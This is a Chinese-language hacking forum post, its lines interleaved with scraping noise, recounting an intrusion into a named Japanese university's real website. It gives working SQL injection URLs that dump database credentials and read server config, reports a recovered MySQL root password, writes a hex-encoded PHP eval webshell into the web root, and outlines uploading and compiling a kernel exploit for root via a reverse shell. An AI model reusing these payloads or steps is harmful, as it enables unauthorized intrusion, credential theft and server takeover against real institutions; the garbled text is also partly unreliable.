入侵日本同志社大学技术分析" C% {* i" [) N6 d9 w
' P. v5 Y" M3 V8 V+ Z: Z9 L
http://www.doshisha.ac.jp/chs/news/index.php?i=-1. x/ Y9 ?1 m6 B4 e$ S" w! l4 E
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:, C" b- n1 m8 k$ f; H8 f
5 _$ |- `6 v5 U0 f- O6 U) E* Z
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user0 v; O: T# J) p5 w: N
- x" c" i) I0 u }& k# w% ^. Z/ U
3 n% ^. y( ]: A- h9 n/ X
0 Y9 i0 ~0 f+ D* m( g, X# U; Z//@@datadir为数据库文件路径 # L3 J- Y( h6 E& Y$ P+ n! ~' z& N. e
4 E) t! O9 d$ J" o1 I- G9 s
! d0 J9 M4 S- ]; R, F//load_file读取网站容器apache的配置文件
% A6 b$ L& w& M5 K5 k% x7 {
: c- `& d- o" ?& f* y- | J. f7 l" ^
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
* B0 l, b' a% [, C% E6 c9 v复制代码
% ?1 u1 B* U4 K
+ W0 A% }4 p4 p虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。 l& s) ?- d! r3 X$ u- v
9 g" W' e6 C3 [# _8 }( B. v
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
0 p7 W' j8 ~& q9 j8 e(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)4 U6 x& { O T0 J
6 N0 u7 q. ]7 V1 p8 Z
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。9 D0 w1 |- m* a! J+ k
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html" o1 k( Z) x! B5 a
1 f& F& |7 V3 e1 i+ s8 Q4 @既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
3 R" v" Y( u F0 K虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
- c0 T( e! |( _直接写一句话:, N {& Y- H3 B
1 Q {/ b N a
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
, o' g- P% v; h
8 b% c5 c3 j O, H5 N- L
f( i. j8 x: I# f5 Y4 e! P& g% F. u. _# B+ T( _9 k
//最后的#是为了闭合前面的语句
3 \/ {# M. w2 T: i4 X 6 N; Z6 d4 R( D" R$ Y* X
5 x( P! m7 S: E$ O3 D
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
0 O$ L3 V3 O! G6 q8 A" \4 U
0 j) ]9 |3 _* Z% N4 _1 Y8 n0 L4 p3 f% U$ a& n) g# B* L: S# T! a
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ - c* H2 j s1 n% l
2 w: e0 P3 d3 J; d8 \4 n# P9 c n: R9 v' K, v* v
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 B* k/ |6 B9 K3 ~* r
# T. r8 p" q' z9 X3 H( ]% i+ E3 P1 ?
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
/ }3 i" z+ c3 U7 ~' G3 c//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
$ _ P* A0 d6 m) O4 ?$ z- c复制代码) Z$ d0 _3 u- L) _7 \( ]5 _5 D
2 z _7 M$ }) e/ s, J5 ~HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有2 R; s2 W9 p3 g u
通过上述注入语句,我们就得到了一句话木马:
# z9 g c2 \5 y
' ?' K" R; i h `
, p+ n- X6 o& z9 a3 I( Q& {5 I
# M# {/ E6 C2 Q( m4 W" X ( e& @# ?8 `/ f. }- Y Y+ U! ]
' ^; D, A# Y& l6 m2 R" Ghttp://www.doshisha.ac.jp/english/engnews_img/aa.php
" ~. @+ r( F: y3 n7 ]复制代码$ O D7 X9 Q: b i# e
1 u" I3 q( O) o# d# W" u4 P1 F8 H用菜刀连接,密码是cmd,如图所示:( b/ L) K! g: Q( Y+ b7 P
然后在命令提示行里看了一下,现在的权限是:
& \1 G9 W# @/ V1 G$ z8 O/ H) i# B2 p: [
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。4 m( ?/ h. T& d& @
好在赋权给这个文件夹不需要root,直接执行赋权语句:# F `8 ] o/ G$ U3 k
2 P+ a! f* e7 o8 K. L! h' s5 @4 f
! H1 w5 `& b3 \' T. y$ P) r' f0 t, f5 O% W/ J7 B
) e2 [& l8 s+ {9 X: J+ ^: w
) E& a( b# @* s
chmod +x /tmp/ : K, Q2 D+ y2 a7 l
复制代码5 j7 r+ a) e) a, t% {( C
. s6 d' ]0 d! |9 t3 } A% ]6 K
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行3 a& ~. |6 c1 W4 h0 P" {
然后就查了一下内核版本:
, O) M% N4 X$ I- f) G; J X( s9 \" V8 J
+ P# h+ h! j, @& ~3 T+ j3 F4 J2 [* c6 r$ l! _3 W& p
. q1 k* B/ S7 A- H8 A" Y$ p! q" z
2 d4 X9 y* h' S. B, N
uname-a
6 f2 c3 {+ x5 ~& C( i
$ Z8 b/ B8 w, P2 ^1 i/ B% D. ]6 P6 u) W" v
//其实lsb_release -a
* }$ B9 l1 W, H% k) V* U( Q3 u复制代码( W* s5 [1 }" s0 a- V7 N
/ _" A, f& i7 `3 X3 A8 p: w. @
如图所示:2 U6 P3 @6 e# G' M1 I
# T( Z8 u4 H! @3 b6 y
内核版本:linux mainz1 2.6.28-194.e15' x ~3 v" e; B3 I; b8 W
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)! \6 x5 [1 A- V# i1 _& Q; I
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹2 u( ]8 z' C6 ~$ ~
- _3 u9 W) t+ r! Y& B, v6 y* ]; f# {# k然后给予执行权限' \" V9 `- H# m
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
9 c M+ V- D- @$ o; Q% y* q" a+ u% M. ]7 R2 X; g3 }3 D5 Q
% S$ Y/ G2 q; P
! B# O4 P# t d
) b9 ]+ `; t" N$ C) r/ `/ w: K
/ S3 O4 ]9 V; K" V( jchmod +x /tmp/2.6.18-194
1 X5 B6 c- R5 h" g% k4 C复制代码 然后直接执行!~% `% i. n( |+ r* C( y
2 A+ p* M* Z/ h1 s( E( w8 A1 U总结:
- M1 I& M5 f$ U4 ~2 \! ?" b* C5 }这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了; c' `, x* }. y) I/ j" N$ ]
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root" _% p9 i5 X; y4 P9 ~2 l8 v
' N; k, Z3 s& `9 x" ~
|